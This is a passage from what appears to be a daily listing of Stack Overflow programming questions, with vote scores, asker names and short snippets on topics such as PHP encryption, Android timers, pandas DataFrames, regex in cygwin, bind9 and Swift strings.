zendoI stuck with a SOAP service security. In testing with SoapUI, I find a generated Nonce key. How to generate Nonce key? I have username, password (type: password text), timestamp which Nonce key seems to be it generated from them. Thanks for advance!

0
Q: Conflict between MySQL and mcrypt_encrypt (decrypt) function in PHP

Ricardo de Magalhães Simões(my apologies for any mistake in english) I am trying to use the function encrypt/decrypt in PHP (5.6.7) with MySQL (5.6.22). The text to be encrypted/decrypted correspond to a field in the database, and it is an Integer value. I copied one example from PHP.net (http://php.net/manual/pt_BR/fun...

0
Q: What's the function of google_service.json in the GCM

wqycsuI create two android app to test GCM, after testing them I find the GCM server identify the app through the registered token(get from InstanceID.getToken(senderId, scope, bundle)), the project information(I modified project_number, client_id and package_name) in the google_service.json does not i...

1
Q: Javascript: How to find a given string in a URL?

VennsohI have 2 long URLs that point to the same page, http://preview.tbwabox.co.nz/_v005/index.html#buying-a-car http://preview.tbwabox.co.nz/_v005/index.html#buying-a-house and I would like to check if the URL has the string "buying-a-car" or "buying-a-house". depending on the URL, it will show dif...

0
Q: Aren't curly brackets the metacharacters in regular expressions in cygwin?

cmjautoI want to search the phone-number in a text file using grep in cygwin. The number is 0570-2770521, and I use the regular expression "[0-9]{4}-[0-9]{7}" with total command as grep "[0-9]{4}-[0-9]{7}" ./list.txt, but it didn't work. Then I changed to grep "[0-9]\{4\}-[0-9]\{7\}" ./list.txt, it wo...

0
Q: Cancelling an android CountDownTimer

Bisclavretin my app I am using a CountDownTimer and would like users to be able to reset the data in the app and start fresh. The problem I am having is that if you start a timer on say, 3 minutes and then a short time later you call my reset function to set all scores back to their initial values, and t...

0
Q: How can you set up a server for Twilio on IBM Bluemix? Step-by-step

RyanLooking to use Twilio API on Bluemix but need to set-up the server side for Twilio to be able to respond to SMS. We've looked into the Liberty for Java service but still not sure how it all comes together. Looking for a simple step-by-step to go through setting up Twilio, server on Bluemix.

0
Q: How to Restrict adding new item to sharepoint 2010 list if the existing item falls in the same time range

ArshadI have a list with 4 columns namely Region Name (dropdown choices), Start Time (Date & Time), End Time (Date & Time), Comments (multiple line text). It allows users to book a region for a particular time frame i.e. using start time and end time. I want to put a validation such that if user A ha...

0
Q: Composing Actions in Play Framework

VidyaConsider async actions that are both defined in a similar class/companion object way: class AuthenticatedAction[T](authorize: AuthenticatedRequest[_] => Future[Boolean]) extends ActionBuilder[AuthenticatedRequest] {...} //Modifies the request object AuthenticatedAction {...} class Action2() ex...

0
Q: fast concatenation of large amount of homogeneous dataframes

GeauxEricI have about 7000 homogeneous DataFrames (same columns but different sizes) and want to concat them into one big DataFrame for further analysis. If I generate all of them and store into a list the memory would explode, so I cannot use pandas.concat([...all my tables...]), but choose to do the f...

0
Q: Is "?&" valid for query strings in a url

HarleyIs it valid to leave out the first parameter in the query string for a url? http://www.asdf.com/?&foo=bar&foo2=bar2 Please correct me if I'm wrong, but this means an empty parameter, followed by "foo" and "foo2" parameters. Chrome and Firefox seem to be interpreting the query parameters corre...

0
Q: Paypal Reports -- Option fields not included in the report

Michael SheehanWebsite is prudenceconservancy.org. Recurring payments reports do not show option fields while non-recurring payments do.

0
Q: logic error behind these two java methods in my classes, how should improve or fix them

Dan ChangI wrote a breadth first search and a depth first spanning tree method in both of my adjmatrix and my edgelist class. but someone said I have a logic error in mine because: You're creating an empty queue, putting a single value in it, and then expecting it to contain all of your edge data. If yo...

0
Q: Scrolling Bootstrap Modal when cursor is over a “position: fixed” element

Timmy BurchI have two fixed buttons that appears with a bootstrap modal so when the user scrolls down the modal the buttons remain in the vertical center of the screen… But when the cursor is over one of this buttons the modal won’t scroll. How can I change this behavior?

0
Q: How to take multiple screenshots of one URL using phantomjs and without reloading the page?

Fábio LinharesWhat I want to be able to do is to change the width and height of an iframe at each loop interaction and then take a screenshot.. all this without calling page.open over and over again.. it takes time and it's inefficient..

0
Q: Angular js Parsing Json object

RSMA json object has a key lastLogin. Value of it is a string. I am trying to print firstName John and Blake $scope._users = [{ "User": { "userid": "dummy", "lastlogin": "{\"employees\":[{\"firstName\":\"John\"}, {\"firstName\":\"Blake\"}]}", } }]; h...

0
Q: Redirect to original URL after Login in .Net MVC

verdanaMy Login code: public ActionResult Login([Bind(Include = "Username, Password")] TaiKhoan tk) { var user = Request["user"]; if (user != "") { string username = Request["user"]; string pass = Request["pass"]; ...

0
Q: what's the executive order of parameters for printf

xiaofeiwhen I run the following code, the result is shown as 3 2 3, how can I understand it? #include<stdio.h> int main(){ int a = 1; printf("%d %d %d",a,a++,++a); return 0; }

0
Q: How to Return multiple columns, but remove duplicates of 1 column

ShmewnixI'm trying to write a query to return all columns, and filter by displaying DISTINCT records from a specific column. Here is my Query right now, which requires me to "Group By" everything in the select statement. I obviously don't want to do this.: SELECT lVisitID, sFirstName, sLastName, s...

0
Q: Sticky navbar inside container

Nacho LarrambebereI'm having trouble with the navbar-fixed-top class. I have a container which has inside a navbar. What I want to do is to make the navbar sticky in the top when i scrolldown-up but I want it to be relative to the container (not to the body). I hope you can help me to make the bar realtive to the...

0
Q: using concat with apply

WinchenzoMagnifico[].concat.apply([2], [[1],[2,3],[4]]) => [2, 1, 2, 3, 4] Is the [2] being treated as a first argument? I thought the first argument to apply was to set the value of 'this', is that happening here?

0
Q: Can google oauth2 load gmail's spreadsheets?

sparrowI have created a project by google developer console, and I get client id and app email. But the app email can't load gmail's spreadsheet by other shared. The app email is random string, it's read difficult by user. I also tried to use selenium to resolve, but it's not a good solution. Can I ...

0
Q: Stored Procedure to search with a wild card

nadzThe following stored procedure returns nothing when executed! Have i made it right? DELIMITER // CREATE PROCEDURE `sp_search`(IN `_search` VARCHAR(60)) BEGIN SELECT `result` FROM `search_results` WHERE `keyword` LIKE '%_search%'; END // DELIMITER ;

0
Q: Net::IMAP fails: Connection Closed

Cameron AzizWhen I try to open a connection to my Office 365 service, it fails as so: 2.2.0 :001 > require 'net/imap' => true 2.2.0 :002 > port = '993' => "993" 2.2.0 :003 > imap = Net::IMAP.new('outlook.office365.com', port) Net::IMAP::Error: connection closed from /Users/cameronaziz/.rvm/...

0
Q: Ext JS grid filter

Sant0xicI am using Ext JS 5.x version grid within my application & using its filter plugin. Currently on every key press the grid is filtering the records (which is default) but I want to stop the keypress event and only filter the data when user is done giving the filter text and presses Enter key. I tr...

0
Q: Get the name of day in datepicker

Fadly Dzilif I have result from POST like this : $date = $this->input->post('date'); echo $date; /// it will be printed : 09-07-2015 (Ninth july 2015) which is the day is : Thursday. I use jquery calendar datepicker by the way. So, how can I make it to like this : International Thursday, 09-07-2...

0
Q: Would it hurt SEO for a sitemap to be hosted on a different domain if you 301 direct to it?

JakeWe compute our sitemap periodically with a chron job and store the results in s3. Can we 301 redirect https://oursite.com/sitemap.xml to the sitemap.xml hosted on s3? I know that the sitemap spec requires the sitemap to be on the same domain (http://www.sitemaps.org/protocol.html#location). But...

0
Q: How does "new" work in this C++ function?

AustinMWint main() { int e[]={3,5,1,2,-2,-1,7,8,0,9}; int *f; int fsize; f=smaller_than(e,10,fsize,5); } I have a function: int * smaller_than(const int list[],const int SIZE,int& count,const int THRESHOLD=0) { count = 0; for (int i = 0; i < SIZE; i++) { if (list[i] <...

0
Q: Modelling array/memory writes with reads

thadderIn the context of program verification/symbolic execution, I need to model memory access in a large scale. This would look like m1 = Array("m", BitVecSort(64), BitVecSort(64)) m2 = Store(m1, index1, val1) m3 = Store(m2, index2, val2) Since writing to large arrays is very time/memory consuming ...

0
Q: How to use AjaxPrefilter?

aldrin27Can you please explain to me the simplest way on how the ajaxprefiltering in jquery works? Sorry I'm a newbie in using AJAX. Is it for customizing requests in the server? Thanks. I'm referring to this site http://www.bennadel.com/blog/2132-using-ajaxprefilter-to-configure-ajax-requests-in-jquery-...

0
Q: Exiting the current chain of middleware without throwing error

ThomasReggiI'm looking for a way to exit a chain of middleware without calling next. Here's an example below. This works but I have to check for req.filter every time to ensure it's set to false. Does express have any way of exiting the current chain of middleware (moving to the next route) without throwin...

0
Q: Sending objects to another class's ArrayList

Robin TaylorI have a project for class where I have to send information from a driver class to a class holding an ArrayList, before separating them it worked fine but now I cannot figure out how to send the items to the second class, they are Driver and CardStack respectfully: import java.util.Scanner; imp...

0
Q: Create a decimal to binary converter using Ruby?

PabiI am looking to create a program that will convert a float to a binary and the other way around. But I do not exactly know how to do it or how to approach this problem. This is what I have so far: #Method that check if string is a number. def is_number?(string) true if Float(string) rescue fa...

0
Q: jspm and aurelia not working in webstorm

Jonesyi've gone through Scott Allen's Hello World app app, and have my Aurelia app working perfectly in visual studio. For some reason, I'm unable to get the same result in WebStorm. My index.html body looks like: <body aurelia-app> <script src="jspm_packages/system.js"></script> <script src=...

0
Q: as.POSIXct.numeric error when executing ldply

RickyI have a list list.of.df containing 3 data frames, that I coerce into a single data frame containing columns of all data frames using ldply from plyr i.e. df <- ldply(list.of.df) This approach used to work, but today I have a new set of data and I received an error Error in as.POSIXct.numeric(wh...

0
Q: Why the characters in a string is not counted?

Jalaj ChawlaI made a program to count the characters in a string i failed one test case where for any input in the form of "as(Any no of spaces in the middle)der" is printing 3 instead of 5.I am not knowing the reason why? Below is my SourceCode import java.util.Scanner; class CharCount { static int Coun...

-1
Q: Exclude a specific applition from android build

mk..By default all the make files(Android.mk's) are being included when doing a full build. I would like to exclude one application. How to tell the build system to not include a specific makefile?

0
Q: How to get item value from the selected items using QTreeView?

Imron RosdianaHello I've problem using qtreeview. So I want get the value from the selected item and save all value from selected row to array. I do not know what code should I write when the user clicks the edit button. Please help me what code should I write in the line void Teachers::editTeacher ()?. This i...

0
Q: How to stop phpstorm 9 from highlighting file when hovering over breadcrumb

michaelI've just updated Phpstorm to version 9 and get this highlight of the entire file / class when hovering over this field (where it says \optimizer\Console\Commands\GetSellerinfo): The file gets this grey highlight when hovering over above field. I've searched the settings but didn't find the...

0
Q: How to enable `--embed` with cythonize?

mic_eWhen calling cython on the command line, it's possible to tell it to create a int main() method that embeds the Python interpreter: $ cython --embed main.pyx $ grep 'int main' main.c int main(int argc, char** argv) { However, when you import Cython directly, e.g. from a distutils setup.py scri...

0
Q: Change Main Window name WPF VB.NET

José Carlos Loarca Hassi was wondering how to change the name displayed in the window so it can show whatever i want instead of just MainWindow.

-1
Q: How to add parent node in XML using c#

praneethhI have the following XML code <person> <name>prane</name> <age>19</age> </person> <person> <name>neeth</name> <age>20</age> </person> Now I want to add parent node using c# the resulting XML should be <persons> <person> <name>prane</name> <age>19</age> </person> <person> <name>neeth</name> <...

0
Q: Configuring bind9 for multiple domains

nixI was trying to configure two domains, first is working fine, but not the second. However, on server ping works fine for the second domain as well as named-checkzone responses OK. However I cannot update the domain, and domain provider informed me that my name servers are not valid. here are the...

0
Q: How do I directly substitute source code into R function calls or statements?

VermillionAzureRight now, I'm coding in Shiny, the web-app creation framework written in R, and I use the app.R format for my Shiny app, which mean I have two variables that I pass to Shiny::runapp(ui, server). The code for the server looks like this: #SERVER CODE: INCLUDE YOUR SOURCE FILES BELOW server <- fun...

0
Q: Runtime configuration of EventSource guid

Richard SzalayWe have a scenario whereby multiple pre-release versions of an application run in the same environment. The problem we're seeing is that, because our EventSource has the same name/guid, we cannot differentiate between logs. Is it possible to configure the name/guid of the EventSource via config ...

0
Q: Using both cocoapods and carthage together for different libraries

HappiehappieI installed Alamofire with Carthage, and I found some other libraries that I might want to integrate with my projects too but unfortunately they only support Cocoapods. So the question is, can I use Carthage for library A and Cocoapod for library B?

0
Q: Installation issue with protobuf and caffe

The WandererFrom the last 2 days, I have been trying to install caffe on OSX 10.10 I was able to run all the installation commands successfully for caffe but when I tried to import caffe in ipython I got the exact same error: https://github.com/BVLC/caffe/issues/2092 So, as suggested in the thread, I tri...

0
Q: What does `${1#*=}` mean in Bash?

GreenRaccoon23I found an awesome answer on stackoverflow which explains how to pass an associate array to a function. Would someone be able to help me figure out what the syntax of ${1#*=} in the code below specifies? (Borrowed from that answer by jaypal singh): #!/bin/bash declare -A weapons=( ['Straight ...

0
Q: Windows Crypto API AES decryption leaves first block partially decrypted

swayzI'm coding c++ FYI Ok so I have the windows Crypto API generating an RSA key pair so that I may properly export my generated AES key. All works well, my code decrypts ALL of the data WITH THE EXCEPTION of 10 bytes starting at offset 0x2 in the outputted plaintext It seems that offset 0x2 is ra...

0
Q: How do you add the CSS 'left' property in a JavaScript conditional statement?

coder_1I'm trying to including a CSS "left" property to my JavaScript code such that if the left property in the CSS file matches the one in the JavaScript code, a certain action takes place. Here is a simple illustration of part of the script code: if (document.getElementById("demo").style.left = "10...

0
Q: Get last three characters of a String to determine fileType in Swift

Shaik MD AshiqI need to decide the filetype of a file from the filename which I get in string. So I decided to get the last three characters of the String to decide what filetype it is. How do I get the last three characters in a String. For example var fileName = "test.pdf" I need to get the pdf alone. Is ...

-2
Q: Cleanup for java files

user1397840I working on a 10 year old java system, i would like to do some clean up due to many changes have taken places in the past. I would like to know how can i do it. Example i have this file. context.java How do i know if this file is still in use in the current build on live. The file may be ...

0
Q: Proto3 compiler did not generate a put method for Map fields

MarkI create message with map, and use proto3(protoc-3.0.0-alpha-3.1-windows-x86_64.exe compiler) to generate java pojo. But in message builder there is no put method for map. Here is proto file fragment: message User { map<string, string> contacts = 1; int32 id = 2; string name = 3; in...

-1
Q: Combining Project Tango with Google Cardboard

ZMACan I find a minimal set of codes that combine the usage of project tango phone/tablet with google cardboard?

0
Q: How to limit the number of TCP connection I can acceptI() on WinCE

DongguoMy requirements is "Limit the number of sockets I can accept() on WinCE, let's say 60 sockets". Because I came across problem: My WinCE embedded system has limited resource to handle requests from TCP. So I must limit the number of TCP connections. I tried this : if I do not call accept() if...

0
Q: Dice Simulation

Kamanzi Munroeimport java.awt.*; import java.awt.event.*; import javax.swing.*; import java.util.Random; public class DiceSimulation extends JApplet { /* Initialising Applet */ public DiceSimulation() { this.setContentPane(new DiceRollPanel()); } /* method main */ public static void main(String...

2
Q: mystery of the height of uls in positioned divs: How does it even work?

Michael JohnstonI have a reasonable understanding of css, the box-model, and positioning in general. But there is one mystery I've never grokked, nor have I been able to google my way to an understanding of it on the many times it has slowed down my implementation of a layout: The mystery of the ul inside a...

-1
Q: Android Studio error is always at line 1 on a very high column

btf21I need to locate an error in my code that shows up in the logcat as this: 07-09 02:42:02.251 939-1229/com.boolbalabs.petlinx E/SyncException﹕ com.google.gson.JsonSyntaxException: java.lang.NumberFormatException: Expected an int but was 1501262120526111 at line 1 column 101693 As you can se...

0
Q: function sameChars doesn't work properly

Alexander BabikovTakes two strings and returns True if the strings contain the same characters regardless of the number of occurrences or the order in which they occur. Must consider all characters and is case-sensitive (e.g., sameChars("AA","a") returns False, while sameChars("FgFFF","ggFF") returns True. my co...

0
Q: Add text at the end of valueForKey

R3TRI8UTI0NI've got some code pulling data from a plist: myImage.image = [UIImage imageNamed:[[myArray1 objectAtIndex:indexValue] valueForKey:@"myImage"]]; I want to be able to add text to the end of the value that is being pulled from the plist. So instead of the app seeing filename it would see filenam...

0
Q: Exception when casting object to string on different machine

MakotoWhen trying to cast from an Object, (which should be a serialised string) to a String, on one machine it works fine, but on another it brings up an exception. java.lang.ClassCastException: [Ljava.lang.Object; cannot be cast to java.lang.String Both machines run the same versions of Ubuntu (14...

0
Q: How to align brand and menu items in navbar?

Srinivas ReddyI have designed a menu bar using bootstrap navbar. Brand Image and menu items are not aligned. Brand is aligned to the top left and menu items in the middle. when i minimize the windows, brand image and menu items displays in two rows. How do i fix this? Here is my navbar code: <nav class="...

0
Q: While vertical center div using table cell, I need to make the div width 100%

Raashid A.I'm using Table cell to vertical center contend within DIV its works fine, Now i need to make the content div width to 100%, How can i do that ? Source Code <div style="display: table; height: 400px; overflow: hidden;"> <div style="display: table-cell; vertical-align: middle;"> <div>

0
Q: Ruby on Rails: a simpler Hash.slice method?

cqcn1991In http://api.rubyonrails.org/classes/Hash.html#method-i-slice, I see valid_keys = [:mass, :velocity, :time] search(options.slice(*valid_keys)) I don't get the usage here. I mean, if I pass an array into slice, I definitely want every key get sliced, then why use an addtional * here? Is is p...

0
Q: Scanner for txt file in ImageJ?

1938I am programming a plug-in for ImageJ, and I want the user to select a txt file from a directory, have a scanner go through the file and put the data into a linked list, and later write the modified list out to a new txt file. Does anyone know if this is feasible? Currently I can have the user se...

0
Q: Wordpress shortcodes pass array of values

mcneela86I am creating some WordPress short codes aimed at providing internal navigation on a page (one page with a lot of content sections and it own menu). This is what I have: //menu function internal_menu($atts) { extract(shortcode_atts(array( 'href1' => '#jl1', 'href2' => '#jl2', 'href3' =>

0
Q: *Javascript* Trying to create a mass database that will get hundreds of inputs. Should i use array, else if, switch, etc.

Scott DresenVar location = prompt("Please enter your name"); if (location == "New York") { document.write ("I love that city"); } else if (location == "Montana") { document.write ("Go Skiing"); } else if (location == "Texas") { document.write ("Rodeo Time"); } else { document.write ("Where?"); }; /*...

0
Q: Is there any way to send an email with ignoring the saved email in mail application in ios device?

FahadI want to make an app with XCode(SWIFT)and I would like to let the user enter more than one email and their passwords. the app will check either if they are match correctly or not(email and it's password). then, the app will save them in coredata. and that will let the user send email by choose ...

0
Q: Using $this when not in object context. ERROR

Rylee Harrisonprivate $db; function __construct() { $this->db = new Database(); } function comment() { return $this->db->Select()->Get('comments'); } Fatal error: Using $this when not in object context. Any ideas how to fix?

0
Q: How to use NSSecureCoding with id objects

André FratelliI'm creating a linked list and using containers to group the object, next, and previous properties. Like Foundation collections, I'd like it to implement NSSecureCoding. Here's the declaration: @interface ListContainer : NSObject <NSCopying, NSSecureCoding> @property (readonly, nonatomic) id ob...

0
Q: save excel single sheet vb

user3802190Sorry for bad English now i can save excel file but File is saved has all sheets not only "NaCl" but also all sheets is saved to new file. This is my code. So i want to save new file with single sheets. Can u help me? thank Imports MySql.Data.MySqlClient xlWorkBook = xlApp.Workbooks.Open("D:...

0
Q: Can I setup openGL buffers to

Thomas An... to work on similar principle as OBJ files ? For example, lets say I have the following arrays (each of them with arbitrary lengths) and use them as spare-parts bins; put each of them in the buffer and then have openGL read the indices in the elements array and construct vertices by cherry-pi...

 

« first day (617 days earlier)      last day (457 days later) »